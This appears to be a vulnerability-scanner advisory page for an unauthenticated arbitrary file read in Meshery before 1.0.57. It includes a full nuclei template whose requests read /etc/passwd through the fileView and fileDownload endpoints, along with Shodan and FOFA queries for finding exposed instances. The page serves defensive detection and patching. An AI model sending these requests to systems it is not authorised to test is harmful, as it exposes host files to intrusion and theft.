Meshery <1.0.57 - Arbitrary File Read

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.

Impact

Unauthenticated attackers can read arbitrary files on the host, potentially exposing sensitive information.

Fix

Upgrade to version 1.0.57 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "Meshery" and "assetPrefix"
Send: GET {{BaseURL}}/api/system/fileView?file=/etc/passwd ; GET {{BaseURL}}/api/system/fileDownload?file=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-65919 -u <target>

The full check

id: CVE-2026-65919

info:
  name: Meshery <1.0.57 - Arbitrary File Read
  author: str4k3r
  severity: high
  description: |
    Meshery before 1.0.57 contains an unauthenticated arbitrary file read vulnerability in the /api/system/fileView and /api/system/fileDownload endpoints that pass user-supplied file parameters directly to os.Open without path validation. Attackers can supply absolute paths or traversal sequences in the file parameter to read arbitrary files from the host filesystem without authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files on the host, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 1.0.57 or later.
  reference:
    - https://github.com/meshery/meshery/issues/20076
    - https://github.com/meshery/meshery/pull/20133
    - https://github.com/meshery/meshery/commit/ea83a26cb090b13be36c07cf24a99f8c637cc765
    - https://www.vulncheck.com/advisories/meshery-unauthenticated-arbitrary-file-read-via-fileview-and-filedownload
    - https://nvd.nist.gov/vuln/detail/CVE-2026-65919
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-65919
    epss-score: 0.02087
    epss-percentile: 0.81743
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    product: meshery
    vendor: meshery
    fofa-query: title="Meshery"
    shodan-query: http.title:"Meshery"
  tags: cve,cve2026,meshery,lfi,traversal,oss

flow: http("detect") && http("exploit")

http:
  - id: detect
    method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        part: body
        words:
          - "Meshery"
          - "assetPrefix"
        condition: and
        internal: true
        case-insensitive: true

  - id: exploit
    method: GET
    path:
      - "{{BaseURL}}/api/system/fileView?file=/etc/passwd"
      - "{{BaseURL}}/api/system/fileDownload?file=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from